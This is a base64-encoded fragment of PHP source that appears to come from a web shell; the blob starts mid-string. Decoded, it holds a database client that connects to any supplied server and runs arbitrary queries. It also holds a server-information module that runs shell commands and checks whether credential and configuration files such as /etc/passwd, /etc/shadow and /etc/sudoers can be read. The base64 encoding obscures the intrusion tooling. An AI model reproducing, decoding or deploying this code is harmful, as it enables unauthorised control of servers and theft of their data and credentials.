x0LT5mZXRjaEFycmF5KDEpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlJykgcmV0dXJuIHNxbGl0ZV9mZXRjaF9hcnJheSgkcmVzdWx0LDEpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb2RiYycpIHJldHVybiBvZGJjX2ZldGNoX2FycmF5KCRyZXN1bHQpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAncGRvJykgcmV0dXJuICRyZXN1bHQtPmZldGNoKDIpOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdzcWxfY2xvc2UnKSl7CglmdW5jdGlvbiBzcWxfY2xvc2UoJHNxbHR5cGUsJGNvbil7CgkJaWYoJHNxbHR5cGUgPT0gJ215c3FsJyl7CgkJCWlmKGNsYXNzX2V4aXN0cygnbXlzcWxpJykpIHJldHVybiAkY29uLT5jbG9zZSgpOwoJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jbG9zZScpKSByZXR1cm4gbXlzcWxfY2xvc2UoJGNvbik7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnbXNzcWwnKXsKCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzcWxzcnZfY2xvc2UnKSkgcmV0dXJuIHNxbHNydl9jbG9zZSgkY29uKTsKCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY2xvc2UnKSkgcmV0dXJuIG1zc3FsX2Nsb3NlKCRjb24pOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3Bnc3FsJykgcmV0dXJuIHBnX2Nsb3NlKCRjb24pOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb3JhY2xlJykgcmV0dXJuIG9jaV9jbG9zZSgkY29uKTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZTMnKSByZXR1cm4gJGNvbi0+Y2xvc2UoKTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZScpIHJldHVybiBzcWxpdGVfY2xvc2UoJGNvbik7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdvZGJjJykgcmV0dXJuIG9kYmNfY2xvc2UoJGNvbik7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdwZG8nKSByZXR1cm4gJGNvbiA9IG51bGw7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ3NxbF9nZXRfc3VwcG9ydGVkJykpewoJZnVuY3Rpb24gc3FsX2dldF9zdXBwb3J0ZWQoKXsKCQkkZGJfc3VwcG9ydGVkID0gYXJyYXkoKTsKCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9jb25uZWN0IikpICRkYl9zdXBwb3J0ZWRbXSA9ICdteXNxbCc7CgkJaWYoZnVuY3Rpb25fZXhpc3RzKCJtc3NxbF9jb25uZWN0IikgfHwgZnVuY3Rpb25fZXhpc3RzKCJzcWxzcnZfY29ubmVjdCIpKSAkZGJfc3VwcG9ydGVkW10gPSAnbXNzcWwnOwoJCWlmKGZ1bmN0aW9uX2V4aXN0cygicGdfY29ubmVjdCIpKSAkZGJfc3VwcG9ydGVkW10gPSAncGdzcWwnOwoJCWlmKGZ1bmN0aW9uX2V4aXN0cygib2NpX2Nvbm5lY3QiKSkgJGRiX3N1cHBvcnRlZFtdID0gJ29yYWNsZSc7CgkJaWYoZnVuY3Rpb25fZXhpc3RzKCJzcWxpdGVfb3BlbiIpKSAkZGJfc3VwcG9ydGVkW10gPSAnc3FsaXRlJzsKCQlpZihjbGFzc19leGlzdHMoIlNRTGl0ZTMiKSkgJGRiX3N1cHBvcnRlZFtdID0gJ3NxbGl0ZTMnOwoJCWlmKGZ1bmN0aW9uX2V4aXN0cygib2RiY19jb25uZWN0IikpICRkYl9zdXBwb3J0ZWRbXSA9ICdvZGJjJzsKCQlpZihjbGFzc19leGlzdHMoIlBETyIpKSAkZGJfc3VwcG9ydGVkW10gPSAncGRvJzsKCgkJcmV0dXJuIGltcGxvZGUoIiwiLCAkZGJfc3VwcG9ydGVkKTsKCX0KfQoKaWYoaXNzZXQoJHBbJ2RiR2V0U3VwcG9ydGVkJ10pKXsKCSRyZXMgPSBzcWxfZ2V0X3N1cHBvcnRlZCgpOwoJaWYoZW1wdHkoJHJlcykpICRyZXMgPSAiZXJyb3IiOwoJb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsnZGJUeXBlJ10pJiZpc3NldCgkcFsnZGJIb3N0J10pJiZpc3NldCgkcFsnZGJVc2VyJ10pJiZpc3NldCgkcFsnZGJQYXNzJ10pJiZpc3NldCgkcFsnZGJQb3J0J10pKXsKCSR0eXBlID0gJHBbJ2RiVHlwZSddOwoJJGhvc3QgPSAkcFsnZGJIb3N0J107CgkkdXNlciA9ICRwWydkYlVzZXInXTsKCSRwYXNzID0gJHBbJ2RiUGFzcyddOwoJJHBvcnQgPSAkcFsnZGJQb3J0J107CgoJJGNvbiA9IHNxbF9jb25uZWN0KCR0eXBlICwkaG9zdCAsICR1c2VyICwgJHBhc3MpOwoJJHJlcyA9ICIiOwoKCWlmKCRjb24hPT1mYWxzZSl7CgkJaWYoaXNzZXQoJHBbJ2RiUXVlcnknXSkpewoJCQkkcXVlcnkgPSAkcFsnZGJRdWVyeSddOwoJCQkkcGFnaW5hdGlvbiA9ICIiOwoJCQlpZigoaXNzZXQoJHBbJ2RiREInXSkpJiYoaXNzZXQoJHBbJ2RiVGFibGUnXSkpKXsKCQkJCSRkYiA9IHRyaW0oJHBbJ2RiREInXSk7CgkJCQkkdGFibGUgPSB0cmltKCRwWydkYlRhYmxlJ10pOwoJCQkJJHN0YXJ0ID0gKGludCkgKGlzc2V0KCRwWydkYlN0YXJ0J10pKT8gdHJpbSgkcFsnZGJTdGFydCddKTowOwoJCQkJJGxpbWl0ID0gKGludCkgKGlzc2V0KCRwWydkYkxpbWl0J10pKT8gdHJpbSgkcFsnZGJMaW1pdCddKToxMDA7CgoJCQkJaWYoJHR5cGU9PSdteXNxbCcpewoJCQkJCSRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NICIuJGRiLiIuIi4kdGFibGUuIiBMSU1JVCAiLiRzdGFydC4iLCIuJGxpbWl0LiI7IjsKCQkJCX0KCQkJCWVsc2VpZigkdHlwZT09J21zc3FsJyl7CgkJCQkJJHF1ZXJ5ID0gIlNFTEVDVCBUT1AgIi4kbGltaXQuIiAqIEZST00gIi4kZGIuIi4uIi4kdGFibGUuIjsiOwoJCQkJfQoJCQkJZWxzZWlmKCR0eXBlPT0ncGdzcWwnKXsKCQkJCQkkcXVlcnkgPSAiU0VMRUNUICogRlJPTSAiLiRkYi4iLiIuJHRhYmxlLiIgTElNSVQgIi4kbGltaXQuIiBPRkZTRVQgIi4kc3RhcnQuIjsiOwoJCQkJfQoJCQkJZWxzZWlmKCR0eXBlPT0nb3JhY2xlJyl7CgkJCQkJJGxpbWl0ID0gJHN0YXJ0ICsgJGxpbWl0OwoJCQkJCSRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NICIuJGRiLiIuIi4kdGFibGUuIiBXSEVSRSBST1dOVU0gQkVUV0VFTiAiLiRzdGFydC4iIEFORCAiLiRsaW1pdC4iOyI7CgkJCQl9CgkJCQllbHNlaWYoJHR5cGU9PSdzcWxpdGUnIHx8ICR0eXBlPT0nc3FsaXRlMycpewoJCQkJCSRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NICIuJHRhYmxlLiIgTElNSVQgIi4kc3RhcnQuIiwiLiRsaW1pdC4iOyI7CgkJCQl9CgkJCQllbHNlICRxdWVyeSA9ICIiOwoKCQkJCSRwYWdpbmF0aW9uID0gIkxpbWl0IDxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZGJMaW1pdCcgdmFsdWU9JyIuaHRtbF9zYWZlKCRsaW1pdCkuIicgc3R5bGU9J3dpZHRoOjUwcHg7Jz4KCQkJCQkJCQk8c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwiZGJfcGFnaW5hdGlvbigncHJldicpO1wiPnByZXY8L3NwYW4+CgkJCQkJCQkJPHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cImRiX3BhZ2luYXRpb24oJ25leHQnKTtcIj5uZXh0PC9zcGFuPgoJCQkJCQkJCTxpbnB1dCB0eXBlPSdoaWRkZW4nIGlkPSdkYkRCJyB2YWx1ZT0nIi5odG1sX3NhZmUoJGRiKS4iJz4KCQkJCQkJCQk8aW5wdXQgdHlwZT0naGlkZGVuJyBpZD0nZGJUYWJsZScgdmFsdWU9JyIuaHRtbF9zYWZlKCR0YWJsZSkuIic+CgkJCQkJCQkJPGlucHV0IHR5cGU9J2hpZGRlbicgaWQ9J2RiU3RhcnQnIHZhbHVlPSciLmh0bWxfc2FmZSgkc3RhcnQpLiInPgoJCQkJCQkJCSI7CgkJCX0KCgkJCSRxdWVyeXMgPSBleHBsb2RlKCI7IiwgJHF1ZXJ5KTsKCQkJZm9yZWFjaCgkcXVlcnlzIGFzICRxdWVyeSl7CgkJCQlpZih0cmltKCRxdWVyeSkgIT0gIiIpewoJCQkJCSRxdWVyeV9xdWVyeSA9IHNxbF9xdWVyeSgkdHlwZSwgJHF1ZXJ5LCAkY29uKTsKCQkJCQlpZigkcXVlcnlfcXVlcnkhPWZhbHNlKXsKCQkJCQkJJHJlcyAuPSAiPHA+Ii5odG1sX3NhZmUoJHF1ZXJ5KS4iOyZuYnNwOyZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdzdHJvbmcnPls8L3NwYW4+IG9rIDxzcGFuIGNsYXNzPSdzdHJvbmcnPl08L3NwYW4+PC9wPiI7CgkJCQkJCWlmKCFlbXB0eSgkcGFnaW5hdGlvbikpewoJCQkJCQkJJHJlcyAuPSAiPHA+Ii4kcGFnaW5hdGlvbi4iPC9wPiI7CgkJCQkJCX0KCQkJCQkJaWYoIWlzX2Jvb2woJHF1ZXJ5X3F1ZXJ5KSl7CgkJCQkJCQkkcmVzIC49ICI8dGFibGUgY2xhc3M9J2JvcmRlciBkYXRhVmlldyBzb3J0YWJsZSB0YmxSZXN1bHQnPjx0cj4iOwoJCQkJCQkJZm9yKCRpID0gMDsgJGkgPCBzcWxfbnVtX2ZpZWxkcygkdHlwZSwgJHF1ZXJ5X3F1ZXJ5KTsgJGkrKykKCQkJCQkJCQkkcmVzIC49ICI8dGg+Ii5odG1sX3NhZmUoc3FsX2ZpZWxkX25hbWUoJHR5cGUsICRxdWVyeV9xdWVyeSwgJGkpKS4iPC90aD4iOwoJCQkJCQkJJHJlcyAuPSAiPC90cj4iOwoJCQkJCQkJd2hpbGUoJHJvd3MgPSBzcWxfZmV0Y2hfZGF0YSgkdHlwZSwgJHF1ZXJ5X3F1ZXJ5KSl7CgkJCQkJCQkJJHJlcyAuPSAiPHRyPiI7CgkJCQkJCQkJZm9yZWFjaCgkcm93cyBhcyAkcil7CgkJCQkJCQkJCWlmKGVtcHR5KCRyKSkgJHIgPSAiICI7CgkJCQkJCQkJCSRyZXMgLj0gIjx0ZD4iLmh0bWxfc2FmZSgkcikuIjwvdGQ+IjsKCQkJCQkJCQl9CgkJCQkJCQkJJHJlcyAuPSAiPC90cj4iOwoJCQkJCQkJfQoJCQkJCQkJJHJlcyAuPSAiPC90YWJsZT4iOwoJCQkJCQl9CgkJCQkJfQoJCQkJCWVsc2V7CgkJCQkJCSRyZXMgLj0gIjxwPiIuaHRtbF9zYWZlKCRxdWVyeSkuIjsmbmJzcDsmbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nc3Ryb25nJz5bPC9zcGFuPiBlcnJvciA8c3BhbiBjbGFzcz0nc3Ryb25nJz5dPC9zcGFuPjwvcD4iOwoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCQllbHNlewoJCQlpZigoJHR5cGUhPSdwZG8nKSAmJiAoJHR5cGUhPSdvZGJjJykpewoJCQkJaWYoJHR5cGU9PSdteXNxbCcpICRzaG93ZGIgPSAiU0hPVyBEQVRBQkFTRVMiOwoJCQkJZWxzZWlmKCR0eXBlPT0nbXNzcWwnKSAkc2hvd2RiID0gIlNFTEVDVCBuYW1lIEZST00gbWFzdGVyLi5zeXNkYXRhYmFzZXMiOwoJCQkJZWxzZWlmKCR0eXBlPT0ncGdzcWwnKSAkc2hvd2RiID0gIlNFTEVDVCBzY2hlbWFfbmFtZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSI7CgkJCQllbHNlaWYoJHR5cGU9PSdvcmFjbGUnKSAkc2hvd2RiID0gIlNFTEVDVCBVU0VSTkFNRSBGUk9NIFNZUy5BTExfVVNFUlMgT1JERVIgQlkgVVNFUk5BTUUiOwoJCQkJZWxzZWlmKCgkdHlwZT09J3NxbGl0ZTMnKSB8fCAoJHR5cGU9PSdzcWxpdGUnKSkgJHNob3dkYiA9ICJTRUxFQ1QgXCIiLiRob3N0LiJcIiI7CgkJCQllbHNlICRzaG93ZGIgPSAiU0hPVyBEQVRBQkFTRVMiOwoKCQkJCSRxdWVyeV9kYiA9IHNxbF9xdWVyeSgkdHlwZSwgJHNob3dkYiwgJGNvbik7CgoJCQkJaWYoJHF1ZXJ5X2RiIT1mYWxzZSkgewoJCQkJCXdoaWxlKCRkYl9hcnIgPSBzcWxfZmV0Y2hfZGF0YSgkdHlwZSwgJHF1ZXJ5X2RiKSl7CgkJCQkJCWZvcmVhY2goJGRiX2FyciBhcyAkZGIpewoJCQkJCQkJaWYoJHR5cGU9PSdteXNxbCcpICRzaG93dGJsID0gIlNIT1cgVEFCTEVTIEZST00gIi4kZGI7CgkJCQkJCQllbHNlaWYoJHR5cGU9PSdtc3NxbCcpICRzaG93dGJsID0gIlNFTEVDVCBuYW1lIEZST00gIi4kZGIuIi4uc3lzb2JqZWN0cyBXSEVSRSB4dHlwZSA9ICdVJyI7CgkJCQkJCQllbHNlaWYoJHR5cGU9PSdwZ3NxbCcpICRzaG93dGJsID0gIlNFTEVDVCB0YWJsZV9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSB0YWJsZV9zY2hlbWE9JyIuJGRiLiInIjsKCQkJCQkJCWVsc2VpZigkdHlwZT09J29yYWNsZScpICRzaG93dGJsID0gIlNFTEVDVCBUQUJMRV9OQU1FIEZST00gU1lTLkFMTF9UQUJMRVMgV0hFUkUgT1dORVI9JyIuJGRiLiInIjsKCQkJCQkJCWVsc2VpZigoJHR5cGU9PSdzcWxpdGUzJykgfHwgKCR0eXBlPT0nc3FsaXRlJykpICRzaG93dGJsID0gIlNFTEVDVCBuYW1lIEZST00gc3FsaXRlX21hc3RlciBXSEVSRSB0eXBlPSd0YWJsZSciOwoJCQkJCQkJZWxzZSAkc2hvd3RibCA9ICIiOwoKCQkJCQkJCSRyZXMgLj0gIjxwIGNsYXNzPSdib3h0aXRsZSBib3hOYXYnIHN0eWxlPSdwYWRkaW5nOjhweCAzMnB4O21hcmdpbi1ib3R0b206NHB4Oyc+Ii4kZGIuIjwvcD48dGFibGUgY2xhc3M9J2JvcmRlcicgc3R5bGU9J2Rpc3BsYXk6bm9uZTttYXJnaW46OHB4IDA7Jz4iOwoJCQkJCQkJJHF1ZXJ5X3RhYmxlID0gc3FsX3F1ZXJ5KCR0eXBlLCAkc2hvd3RibCwgJGNvbik7CgoJCQkJCQkJaWYoJHF1ZXJ5X3RhYmxlIT1mYWxzZSl7CgkJCQkJCQkJd2hpbGUoJHRhYmxlc19hcnIgPSBzcWxfZmV0Y2hfZGF0YSgkdHlwZSwgJHF1ZXJ5X3RhYmxlKSl7CgkJCQkJCQkJCWZvcmVhY2goJHRhYmxlc19hcnIgYXMgJHRhYmxlKSAkcmVzIC49ICI8dHI+PHRkIGNsYXNzPSdkYlRhYmxlIGJvcmRlcmJvdHRvbScgc3R5bGU9J2N1cnNvcjpwb2ludGVyOyc+Ii4kdGFibGUuIjwvdGQ+PC90cj4iOwoJCQkJCQkJCX0KCQkJCQkJCX0KCQkJCQkJCSRyZXMgLj0gIjwvdGFibGU+IjsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KCWlmKCFlbXB0eSgkcmVzKSkgb3V0cHV0KCRyZXMpOwoJb3V0cHV0KCdlcnJvcicpOwp9CgokR0xPQkFMU1snbW9kdWxlJ11bJ2luZm8nXVsnaWQnXSA9ICJpbmZvIjsKJEdMT0JBTFNbJ21vZHVsZSddWydpbmZvJ11bJ3RpdGxlJ10gPSAiSW5mbyI7CiRHTE9CQUxTWydtb2R1bGUnXVsnaW5mbyddWydqc19vbnRhYnNlbGVjdGVkJ10gPSAiIjsKJEdMT0JBTFNbJ21vZHVsZSddWydpbmZvJ11bJ2NvbnRlbnQnXSA9ICI8ZGl2IGNsYXNzPSdib3JkZXIgaW5mb1Jlc3VsdCc+PC9kaXY+IjsKCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2luZm9fZ2V0aW5mbycpKXsKCWZ1bmN0aW9uIGluZm9fZ2V0aW5mbygpewoJCSRyZXMgPSAiIjsKCQkvLyBzZXJ2ZXIgbWlzYyBpbmZvCgkJJHJlcyAuPSAiPHAgY2xhc3M9J2JveHRpdGxlJyBvbmNsaWNrPVwiaW5mb190b2dnbGUoJ2luZm9fc2VydmVyJyk7XCIgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4Oyc+U2VydmVyIEluZm88L3A+IjsKCQkkcmVzIC49ICI8ZGl2IGlkPSdpbmZvX3NlcnZlcicgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4O2Rpc3BsYXk6bm9uZTsnPjx0YWJsZSBjbGFzcz0nZGF0YVZpZXcnPiI7CgoJCWlmKGlzX3dpbigpKXsKCQkJZm9yZWFjaCAocmFuZ2UoIkEiLCAiWiIpIGFzICRsZXR0ZXIpewoJCQkJaWYoaXNfcmVhZGFibGUoJGxldHRlci4iOlxcIikpewoJCQkJCSRkcml2ZSA9ICRsZXR0ZXIuIjoiOwoJCQkJCSRyZXMgLj0gIjx0cj48dGQ+ZHJpdmUgIi4kZHJpdmUuIjwvdGQ+PHRkPiIuZm9ybWF0X2JpdChAZGlza19mcmVlX3NwYWNlKCRkcml2ZSkpLiIgZnJlZSBvZiAiLmZvcm1hdF9iaXQoQGRpc2tfdG90YWxfc3BhY2UoJGRyaXZlKSkuIjwvdGQ+PC90cj4iOwoJCQkJfQoJCQl9CgkJfQoJCWVsc2UgJHJlcyAuPSAiPHRyPjx0ZD5yb290IHBhcnRpdGlvbjwvdGQ+PHRkPiIuZm9ybWF0X2JpdChAZGlza19mcmVlX3NwYWNlKCIvIikpLiIgZnJlZSBvZiAiLmZvcm1hdF9iaXQoQGRpc2tfdG90YWxfc3BhY2UoIi8iKSkuIjwvdGQ+PC90cj4iOwoKCQkkcmVzIC49ICI8dHI+PHRkPnBocDwvdGQ+PHRkPiIucGhwdmVyc2lvbigpLiI8L3RkPjwvdHI+IjsKCQkkYWNjZXNzID0gYXJyYXkoInB5dGhvbiI9PiJweXRob24gLVYiLAoJCQkJCQkicGVybCI9PiJwZXJsIC1lIFwicHJpbnQgXCRdXCIiLAoJCQkJCQkicHl0aG9uIj0+InB5dGhvbiAtViIsCgkJCQkJCSJydWJ5Ij0+InJ1YnkgLXYiLAoJCQkJCQkibm9kZSI9PiJub2RlIC12IiwKCQkJCQkJIm5vZGVqcyI9PiJub2RlanMgLXYiLAoJCQkJCQkiZ2NjIj0+ImdjYyAtZHVtcHZlcnNpb24iLAoJCQkJCQkiamF2YSI9PiJqYXZhIC12ZXJzaW9uIiwKCQkJCQkJImphdmFjIj0+ImphdmFjIC12ZXJzaW9uIgoJCQkJCQkpOwoKCQlmb3JlYWNoKCRhY2Nlc3MgYXMgJGs9PiR2KXsKCQkJJHZlcnNpb24gPSBleGVjdXRlKCR2KTsKCQkJJHZlcnNpb24gPSBleHBsb2RlKCJcbiIsICR2ZXJzaW9uKTsKCQkJaWYoJHZlcnNpb25bMF0pICR2ZXJzaW9uID0gJHZlcnNpb25bMF07CgkJCWVsc2UgJHZlcnNpb24gPSAiPyI7CgoJCQkkcmVzIC49ICI8dHI+PHRkPiIuJGsuIjwvdGQ+PHRkPiIuJHZlcnNpb24uIjwvdGQ+PC90cj4iOwoJCX0KCgkJaWYoIWlzX3dpbigpKXsKCQkJJGludGVyZXN0aW5nID0gYXJyYXkoCgkJCSIvZXRjL29zLXJlbGVhc2UiLCAiL2V0Yy9wYXNzd2QiLCAiL2V0Yy9zaGFkb3ciLCAiL2V0Yy9ncm91cCIsICIvZXRjL2lzc3VlIiwgIi9ldGMvaXNzdWUubmV0IiwgIi9ldGMvbW90ZCIsICIvZXRjL3N1ZG9lcnMiLCAiL2V0Yy9ob3N0cyIsICIvZXRjL2FsaWFzZXMiLAoJCQkiL3Byb2MvdmVyc2lvbiIsICIvZXRjL3Jlc29sdi5jb25mIiwgIi9ldGMvc3lzY3RsLmNvbmYiLAoJCQkiL2V0Yy9uYW1lZC5jb25mIiwgIi9ldGMvbmV0d29yay9pbnRlcmZhY2VzIiwgIi9ldGMvc3F1aWQvc3F1aWQuY29uZiIsICIvdXNyL2xvY2FsL3NxdWlkL2V0Yy9zcXVpZC5jb25mIiwKCQkJIi9ldGMvc3NoL3NzaGRfY29uZmlnIiwKCQkJIi9ldGMvaHR0cGQvY29uZi9odHRwZC5jb25mIiwgIi91c3IvbG9jYWwvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYiLCAiIC9ldGMvYXBhY2hlMi9hcGFjaGUyLmNvbmYiLCAiL2V0Yy9hcGFjaGUyL2h0dHBkLmNvbmYiLCAiL3Vzci9wa2cvZXRjL2h0dHBkL2h0dHBkLmNvbmYiLCAiL3Vzci9sb2NhbC9ldGMvYXBhY2hlMjIvaHR0cGQuY29uZiIsICIvdXNyL2xvY2FsL2V0Yy9hcGFjaGUyL2h0dHBkLmNvbmYiLCAiL3Zhci93d3cvY29uZi9odHRwZC5jb25mIiwgIi9ldGMvYXBhY2hlMi9odHRwZDIuY29uZiIsICIvZXRjL2h0dHBkL2h0dHBkLmNvbmYiLAoJCQkiL2V0Yy9saWdodHRwZC9saWdodHRwZC5jb25mIiwgIi9ldGMvbmdpbngvbmdpbnguY29uZiIsCgkJCSIvZXRjL2ZzdGFiIiwgIi9ldGMvbXRhYiIsICIvZXRjL2Nyb250YWIiLCAiL2V0Yy9pbml0dGFiIiwgIi9ldGMvbW9kdWxlcy5jb25mIiwgIi9ldGMvbW9kdWxlcyIpOwoJCQlmb3JlYWNoKCRpbnRlcmVzdGluZyBhcyAkZil7CgkJCQlpZihAaXNfZmlsZSgkZikgJiYgQGlzX3JlYWRhYmxlKCRmKSkgJHJlcyAuPSAiPHRyPjx0ZD4iLiRmLiI8L3RkPjx0ZD48YSBkYXRhLXBhdGg9JyIuaHRtbF9zYWZlKCRmKS4iJyBvbmNsaWNrPSd2aWV3X2VudHJ5KHRoaXMpOyc+Ii4kZi4iIGlzIHJlYWRhYmxlPC9hPjwvdGQ+PC90cj4iOwoJCQl9CgkJfQoJCSRyZXMgLj0gIjwvdGFibGU+PC9kaXY+IjsKCgkJaWYoIWlzX3dpbigpKXsKCQkJLy8gY3B1IGluZm8KCQkJaWYoJGlfYnVmZj10cmltKHJlYWRfZmlsZSgiL3Byb2MvY3B1aW5mbyIpKSl7CgkJCQkkcmVzIC49ICI8cCBjbGFzcz0nYm94dGl0bGUnIG9uY2xpY2s9XCJpbmZvX3RvZ2dsZSgnaW5mb19jcHUnKTtcIiBzdHlsZT0nbWFyZ2luLWJvdHRvbTo4cHg7Jz5DUFUgSW5mbzwvcD4iOwoJCQkJJHJlcyAuPSAiPGRpdiBjbGFzcz0naW5mbycgaWQ9J2luZm9fY3B1JyBzdHlsZT0nbWFyZ2luLWJvdHRvbTo4cHg7ZGlzcGxheTpub25lOyc+IjsKCQkJCSRpX2J1ZmZzID0gZXhwbG9kZSgiXG5cbiIsICRpX2J1ZmYpOwoJCQkJZm9yZWFjaCgkaV9idWZmcyBhcyAkaV9idWZmc3MpewoJCQkJCSRpX2J1ZmZzcyA9IHRyaW0oJGlfYnVmZnNzKTsKCQkJCQlpZigkaV9idWZmc3MhPSIiKXsKCQkJCQkJJGlfYnVmZnNzcyA9IGV4cGxvZGUoIlxuIiwgJGlfYnVmZnNzKTsKCQkJCQkJJHJlcyAuPSAiPHRhYmxlIGNsYXNzPSdkYXRhVmlldyc+IjsKCQkJCQkJZm9yZWFjaCgkaV9idWZmc3NzIGFzICRpKXsKCQkJCQkJCSRpID0gdHJpbSgkaSk7CgkJCQkJCQlpZigkaSE9IiIpewoJCQkJCQkJCSRpaSA9IGV4cGxvZGUoIjoiLCRpKTsKCQkJCQkJCQlpZihjb3VudCgkaWkpPT0yKSAkcmVzIC49ICI8dHI+PHRkPiIuJGlpWzBdLiI8L3RkPjx0ZD4iLiRpaVsxXS4iPC90ZD48L3RyPiI7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQkJJHJlcyAuPSAiPC90YWJsZT4iOwoJCQkJCX0KCQkJCX0KCQkJCSRyZXMgLj0gIjwvZGl2PiI7CgkJCX0KCgkJCS8vIG1lbSBpbmZvCgkJCWlmKCRpX2J1ZmY9dHJpbShyZWFkX2ZpbGUoIi9wcm9jL21lbWluZm8iKSkpewoJCQkJJHJlcyAuPSAiPHAgY2xhc3M9J2JveHRpdGxlJyBvbmNsaWNrPVwiaW5mb190b2dnbGUoJ2luZm9fbWVtJyk7XCIgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4Oyc+TWVtb3J5IEluZm88L3A+IjsKCQkJCSRpX2J1ZmZzID0gZXhwbG9kZSgiXG4iLCAkaV9idWZmKTsKCQkJCSRyZXMgLj0gIjxkaXYgY2xhc3M9J2luZm8nIGlkPSdpbmZvX21lbScgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4O2Rpc3BsYXk6bm9uZTsnPjx0YWJsZSBjbGFzcz0nZGF0YVZpZXcnPiI7CgkJCQlmb3JlYWNoKCRpX2J1ZmZzIGFzICRpKXsKCQkJCQkkaSA9IHRyaW0oJGkpOwoJCQkJCWlmKCRpIT0iIil7CgkJCQkJCSRpaSA9IGV4cGxvZGUoIjoiLCRpKTsKCQkJCQkJaWYoY291bnQoJGlpKT09MikgJHJlcyAuPSAiPHRyPjx0ZD4iLiRpaVswXS4iPC90ZD48dGQ+Ii4kaWlbMV0uIjwvdGQ+PC90cj4iOwoJCQkJCX0KCQkJCQllbHNlICRyZXMgLj0gIjwvdGFibGU+PHRhYmxlIGNsYXNzPSdkYXRhVmlldyc+IjsKCQkJCX0KCQkJCSRyZXMgLj0gIjwvdGFibGU+PC9kaXY+IjsKCQkJfQoKCQkJLy8gcGFydGl0aW9uCgkJCWlmKCRpX2J1ZmY9dHJpbShyZWFkX2ZpbGUoIi9wcm9jL3BhcnRpdGlvbnMiKSkpewoJCQkJJGlfYnVmZiA9IHByZWdfcmVwbGFjZSgiL1wgKy8iLCAiICIsICRpX2J1ZmYpOwoJCQkJJHJlcyAuPSAiPHAgY2xhc3M9J2JveHRpdGxlJyBvbmNsaWNrPVwiaW5mb190b2dnbGUoJ2luZm9fcGFydCcpO1wiIHN0eWxlPSdtYXJnaW4tYm90dG9tOjhweDsnPlBhcnRpdGlvbnMgSW5mbzwvcD4iOwoJCQkJJHJlcyAuPSAiPGRpdiBjbGFzcz0naW5mbycgaWQ9J2luZm9fcGFydCcgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4O2Rpc3BsYXk6bm9uZTsnPiI7CgkJCQkkaV9idWZmcyA9IGV4cGxvZGUoIlxuXG4iLCAkaV9idWZmKTsKCQkJCSRyZXMgLj0gIjx0YWJsZSBjbGFzcz0nZGF0YVZpZXcnPjx0cj4iOwoJCQkJJGlfaGVhZCA9IGV4cGxvZGUoIiAiLCAkaV9idWZmc1swXSk7CgkJCQlmb3JlYWNoKCRpX2hlYWQgYXMgJGgpICRyZXMgLj0gIjx0aD4iLiRoLiI8L3RoPiI7CgkJCQkkcmVzIC49ICI8L3RyPiI7CgkJCQkkaV9idWZmc3MgPSBleHBsb2RlKCJcbiIsICRpX2J1ZmZzWzFdKTsKCQkJCWZvcmVhY2goJGlfYnVmZnNzIGFzICRpX2IpewoJCQkJCSRpX3JvdyA9IGV4cGxvZGUoIiAiLCB0cmltKCRpX2IpKTsKCQkJCQkkcmVzIC49ICI8dHI+IjsKCQkJCQlmb3JlYWNoKCRpX3JvdyBhcyAkcikgJHJlcyAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJHIuIjwvdGQ+IjsKCQkJCQkkcmVzIC49ICI8L3RyPiI7CgkJCQl9CgkJCQkkcmVzIC49ICI8L3RhYmxlPiI7CgkJCQkkcmVzIC49ICI8L2Rpdj4iOwoJCQl9CgkJfQoJCSRwaHBpbmZvID0gYXJyYXkoIlBIUCBHZW5lcmFsIiA9PiBJTkZPX0dFTkVSQUwsICJQSFAgQ29uZmlndXJhdGlvbiIgPT4gSU5GT19DT05GSUdVUkFUSU9OLCAiUEhQIE1vZHVsZXMiID0+IElORk9fTU9EVUxFUywgIlBIUCBFbnZpcm9ubWVudCIgPT4gSU5GT19FTlZJUk9OTUVOVCwgIlBIUCBWYXJpYWJsZXMiID0+IElORk9fVkFSSUFCTEVTKTsKCQlmb3JlYWNoKCRwaHBpbmZvIGFzICRwPT4kaSl7CgkJCSRyZXMgLj0gIjxwIGNsYXNzPSdib3h0aXRsZScgb25jbGljaz1cImluZm9fdG9nZ2xlKCciLiRpLiInKTtcIiBzdHlsZT0nbWFyZ2luLWJvdHRvbTo4cHg7